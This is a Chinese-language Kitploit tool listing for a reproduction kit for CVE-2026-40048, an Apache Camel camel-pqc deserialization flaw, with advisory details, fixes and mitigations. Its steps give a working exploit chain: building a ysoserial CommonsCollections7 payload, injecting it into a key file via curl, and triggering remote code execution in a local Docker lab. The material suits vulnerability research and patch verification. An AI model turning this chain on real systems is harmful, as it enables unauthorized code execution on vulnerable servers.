Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-40048 — CVE-2026-40048 的复现工具:Apache Camel camel-pqc FileBasedKeyLifecycleManager 不安全反序列化(RCE) | Kitploit
工具/GitHubGitHub/oscerd/cve-2026-40048
静态分析漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育二进制利用实验室与实践
GitHuboscerd/cve-2026-40048

CVE-2026-40048

CVE-2026-40048 的复现工具:Apache Camel camel-pqc FileBasedKeyLifecycleManager 不安全反序列化(RCE)

22个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
分享

camel-pqc FileBasedKeyLifecycleManager 不安全反序列化复现工具 (CVE-2026-40048)

该项目演示了 Apache Camel 的 camel-pqc 组件中的 Java 反序列化漏洞,追踪编号为 CVE-2026-40048。FileBasedKeyLifecycleManager 从配置的密钥目录中读取 <keyId>.key 文件,使用原始的 ObjectInputStream 且未设置 ObjectInputFilter,因此能够写入该目录的攻击者可实现 远程代码执行。

公告:https://camel.apache.org/security/CVE-2026-40048.html

漏洞摘要

属性值
组件camel-pqc
受影响类org.apache.camel.component.pqc.lifecycle.FileBasedKeyLifecycleManager (getKey)
CWECWE-502:不可信数据的反序列化
影响远程代码执行 (RCE)
受影响版本从 4.18.0 到 4.18.2 之前,以及从 4.19.0 到 4.20.0 之前
修复版本4.18.2, 4.20.0
JIRACAMEL-23200
报告者Andrea Cosentino (ASF), Venkatraman Kumar (Securin)

技术细节

FileBasedKeyLifecycleManager 将后量子密钥以序列化 Java 对象的形式持久化存储在 <keyDir>/<keyId>.key 中。加载密钥时,使用原始的 ObjectInputStream 反序列化该文件,而转换为 KeyPair 的操作发生在 readObject() 返回 之后:

root@kitploit:~
// FileBasedKeyLifecycleManager.getKey(keyId) - 受影响版本
Path keyFile = getKeyFile(keyId);   // keyDirectory.resolve(keyId + ".key")
try (ObjectInputStream ois = new ObjectInputStream(new BufferedInputStream(Files.newInputStream(keyFile)))) {
    KeyPair keyPair = (KeyPair) ois.readObject();   // 没有 ObjectInputFilter — gadget 在类型转换前执行
    ...
}

能够写入密钥目录的攻击者——通过路径遍历、错误配置的卷权限、受损的密钥供应管道或符号链接攻击——可以植入一个精心构造的序列化对象,该对象在正常的密钥生命周期加载过程中执行。

前提条件

  • Java 17+ 和 Maven 3.8+(用于构建 jar)
  • Docker(用于运行复现环境)
  • ysoserial(用于生成 payload)

复现步骤

步骤 1:构建 jar 并启动容器

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build

步骤 2:生成恶意 payload

root@kitploit:~
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

# 良性证明:创建 /tmp/pwned。在 JDK 21 上需添加 --add-opens 来生成 CC gadget:
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED \
     --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
     -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64

步骤 3:将 payload 写入 <keyId>.key

root@kitploit:~
curl -X POST http://localhost:8080/exploit/inject \
  -H "Content-Type: text/plain" --data-binary @payload.b64
# 将字节写入容器内的 /tmp/pqc-keys/mykey.key

步骤 4:触发密钥生命周期加载(RCE)

root@kitploit:~
curl http://localhost:8080/exploit/trigger
# getKey("mykey") -> ObjectInputStream.readObject() -> gadget 执行
# -> ">>> RCE 证明 — /tmp/pwned 存在:true"

步骤 5:验证

root@kitploit:~
docker exec cve-2026-40048 ls -la /tmp/pwned

清理

root@kitploit:~
docker compose down

攻击向量

getKey() 在正常的密钥生命周期操作(签名/验证密钥检索、轮换检查等)期间被调用,因此任何对攻击者植入的 <keyId>.key 的加载都会触发反序列化。

利用条件

  1. 对 FileBasedKeyLifecycleManager 使用的密钥目录具有写入权限(共享/配置错误的卷、路径遍历、受损的供应、符号链接)。
  2. 类路径中存在 gadget 库(例如 commons-collections:3.2.1)。

相关的后续 CVE

密钥存储中的 ObjectInputStream 模式在之后得到了更广泛的处理:

  • CVE-2026-46590 —— HashiCorp Vault + AWS Secrets Manager 相关管理器(修复不完整的后续)。
  • CVE-2026-43867 —— 同一个 AWS Secrets Manager 路径的独立报告。

推荐修复

升级至 4.18.2 / 4.20.0。修复方案将基于 ObjectInputStream 的存储替换为标准的 PKCS#8(私钥)/ X.509 SubjectPublicKeyInfo(公钥)Base64 JSON 编码。

缓解措施

在升级之前:

  1. 限制对密钥目录的写入权限,仅允许应用程序自身身份。
  2. 移除 gadget 库(升级/移除 commons-collections 3.x)。
  3. 将密钥材料保存在没有更低信任主体能写入的卷上。

文件

root@kitploit:~
CVE-2026-40048/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   └── ExploitController.java   # /inject(植入 .key), /trigger(getKey -> RCE), /cleanup
    └── resources/
        └── application.properties

免责声明

本复现工具仅用于 安全研究和授权测试,针对 公开披露且已修复 的漏洞。请勿将其用于未经明确许可的系统。

下载工具